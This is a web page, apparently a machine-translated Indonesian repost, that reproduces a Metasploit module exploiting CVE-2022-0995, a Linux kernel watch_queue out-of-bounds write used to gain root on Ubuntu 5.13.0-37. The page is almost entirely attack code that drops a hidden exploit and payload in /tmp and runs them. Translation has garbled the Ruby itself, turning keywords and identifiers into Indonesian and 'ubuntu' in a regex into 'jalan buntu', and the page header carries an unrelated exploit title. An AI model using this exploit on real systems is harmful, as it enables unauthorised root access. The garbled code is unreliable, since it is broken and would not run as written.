Tonton Antrian Di Luar Batas Tulis

  • Whatsapp
Online Railway Reservation System 1.0 Cross Site Scripting
Online Railway Reservation System Cross Site Scripting

News.nextcloud.asia

##
# Modul ini membutuhkan Metasploit: https://metasploit.com/download
# Sumber saat ini: https://github.com/rapid7/metasploit-framework
##

kelas MetasploitModule < Msf::Eksploitasi::Lokal
Peringkat = Peringkat Besar

tambahkan Msf::Exploit::Remote::AutoCheck
termasuk Msf::Post::Linux::Priv
termasuk Msf::Post::Linux::System
termasuk Msf::Post::Linux::Compile
termasuk Msf::Post::Linux::Kernel
termasuk Msf::Post::File
termasuk Msf::Eksploitasi::EXE
termasuk Msf::Eksploitasi::FileDropper

def inisialisasi(info = {})
super(
informasi terbaru(
informasi,
‘Name’ => ‘Tonton Antrian Di Luar Batas Tulis’,
‘Deskripsi’ => %q{
Modul ini mengeksploitasi kerentanan dalam acara watch_queue Kernel Linux
sistem pemberitahuan. Itu bergantung pada tumpukan di luar batas menulis di memori kernel.
Eksploitasi mungkin gagal pada upaya pertama sehingga beberapa upaya mungkin diperlukan.
Perhatikan bahwa eksploitasi berpotensi menyebabkan penolakan layanan jika banyak
upaya gagal terjadi, namun ini tidak mungkin.
},
‘Lisensi’ => MSF_LICENSE,
‘Penulis’ => [
‘Jann Horn’, # discovery and poc
‘bonfee’, # PoC
‘bwatters-r7’ # Aka @tychos_moose, Metasploit Module
],
‘DisclosureDate’ => ‘2022-03-14’,
‘Platform’ => [ ‘linux’ ],
‘Lengkungan’ => [ ARCH_X64 ],
‘Jenis Sesi’ => [ ‘shell’, ‘meterpreter’ ],
‘Hak Istimewa’ => benar,
‘Referensi’ => [
[ ‘CVE’, ‘2022-0995’ ],
[ ‘URL’, ‘https://github.com/Bonfee/CVE-2022-0995’ ],
[ ‘URL’, ‘https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=93ce93587d36493f2f86921fa79921b3cba63fbb’ ],
[ ‘URL’, ‘https://nvd.nist.gov/vuln/detail/CVE-2022-0995’ ],
[ ‘PACKETSTORM’, ‘166770’ ],
],
‘Target’ => [
[ ‘Ubuntu Linux 5.13.0-37’, {} ],
],
‘Target Default’ => 0,
‘Catatan’ => {
‘Keandalan’ => [ UNRELIABLE_SESSION ]# Tidak diharapkan mendapatkan cangkang setiap saat karena heap spray terkadang tidak berfungsi.
‘Stabilitas’ => [ CRASH_OS_DOWN ],
‘Efek Samping’ => [ ARTIFACTS_ON_DISK ]
}
)
)
daftar_opsi [
OptBool.new(‘DEBUG_SOURCE’, [ false, ‘Use source code with debug prints to help troubleshoot’, false ])
]
register_advanced_options [
OptString.new(‘WritableDir’, [ true, ‘A directory where we can write files’, ‘/tmp’ ])
]
akhir

def pull_version
kernel_data = kernel_release
version_array = kernel_data.split(‘-‘)
jika version_array.length < 3
print_error(“Gagal mengurai data versi kernel: #{kernel_data}”)
kembali nihil
akhir
vprint_status(“Array versi: #{version_array}”)
major_version = Rex::Version.new(version_array[0])
vprint_status(“mayor_version: #{major_version}”)
minor_version = versi_array[1].strip kecuali version_array[1].nol?
vprint_status(“versi_kecil: #{versi_kecil}”)
kernel_type = versi_array[2].strip kecuali version_array[2].nol?
kembali [major_version, minor_version, kernel_type]
akhir

def module_check
# Versi rentan berada di bawah 5.17:rc8
# Modul ini hanya memiliki offset untuk Ubuntu 5.13.0-37
jika is_root? && !penyimpanan data[‘ForceExploit’]
fail_with(Failure::None, ‘Sesi sudah memiliki hak akses root. Setel ForceExploit untuk ditimpa.’)
akhir
jika penyimpanan data[‘DEBUG_SOURCE’] && penyimpanan data[‘COMPILE’] != ‘Benar’
fail_with(Failure::BadConfig, ‘DEBUG_PRINT hanya didukung ketika COMPILE disetel ke True’)
akhir
kecuali kernel_version =~ /[uU]jalan buntu/
fail_with(Failure::NoTarget, “Distro Tidak Didukung: ‘#{version}'”)
akhir
lengkungan = kernel_hardware
kecuali arch.include?(‘x86_64’)
fail_with(Failure::NoTarget, “Arsitektur tidak didukung: ‘#{arch}'”)
akhir
version_info = tarik_versi
jika version_info.nil?
fail_with(Gagal::NoTarget, ‘Gagal mendapatkan versi kernel’)
akhir
major_version, minor_version, kernel_type = version_info
rentan_versi = Rex::Version.new(‘5.13.0’)
kecuali major_version == rentan_version && minor_version == ’37’ && kernel_type.include?(‘generic’)
fail_with(Failure::NoTarget, “Tidak ada offset untuk ‘#{kernel_release}'”)
akhir
akhir

cek def
# Versi rentan berada di bawah 5.17:rc8
# Modul ini hanya memiliki offset untuk 5.13.0-37
rentan_versi = Rex::Version.new(‘5.17.0’)
version_info = tarik_versi
jika version_info.nil?
return CheckCode::Unknown(‘Gagal mendapatkan versi kernel’)
akhir

major_version = info_versi[0]
jika versi_utama <= versi_rentan
kembalikan Kode Periksa::Muncul
lain
return CheckCode::Safe(“Versi kernel target #{major_version} lebih baru dari versi rentan terakhir yang diketahui alias #{vulnerable_version}”)
akhir
akhir

def mengeksploitasi
modul_periksa
base_dir = penyimpanan data[‘WritableDir’].to_s
kecuali dapat ditulis?(base_dir)
fail_with(Kegagalan::BadConfig, “#{base_dir} tidak dapat ditulis”)
akhir

executable_name = “.#{Rand_text_alphanumeric(5..10)}”
exploit_dir = “#{base_dir}/.#{rand_text_alphanumeric(5..10)}”
exploit_path = “#{exploit_dir}/#{executable_name}”
jika file_exist?(exploit_dir)
fail_with(Kegagalan::BadConfig, ‘Eksploitasi dir sudah ada’)
akhir
mkdir (eksploitasi_dir)
register_dir_for_cleanup(exploit_dir)

# Unggah eksploit
jika live_compile?
vprint_status(‘Eksploitasi kompilasi langsung di sistem…’)
jika penyimpanan data[‘DEBUG_SOURCE’]
kode = exploit_source(‘cve-2022-0995’, ‘cve-2022-0995_debug.c’)
lain
kode = exploit_source(‘cve-2022-0995’, ‘cve-2022-0995.c’)
akhir
upload_and_compile(exploit_path, kode, ‘-no-pie -static’)
lain
vprint_status(‘Menjatuhkan exploit yang telah dikompilasi pada sistem…’)
precompiled_binary = ‘cve-2022-0995.x64.elf’
vprint_status(“Menjatuhkan exploit yang telah dikompilasi sebelumnya #{precompiled_binary} pada sistem…”)
upload_and_chmodx(exploit_path, exploit_data(‘cve-2022-0995’, precompiled_binary))
akhir

register_file_for_cleanup(exploit_path)

# Unggah muatan
payload_path = “#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}”
upload_and_chmodx(payload_path, generate_payload_exe)

# Luncurkan eksploitasi
print_status(‘Meluncurkan exploit…’)
cmd_string = “#{exploit_path} #{payload_path}”
vprint_status(“Berjalan: #{cmd_string}”)
mulai
keluaran = cmd_exec(cmd_string)
vprint_status(keluaran)
penyelamatan Kesalahan => e
elog(‘Waktu habis. Eksploitasi mungkin memakan waktu lebih lama atau mungkin gagal.’, kesalahan: e)
print_error(“Eksploitasi gagal: #{e}”)
print_error(“Pastikan penghapusan #{exploit_path} dan #{payload_path}”)
akhir
akhir
akhir

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan.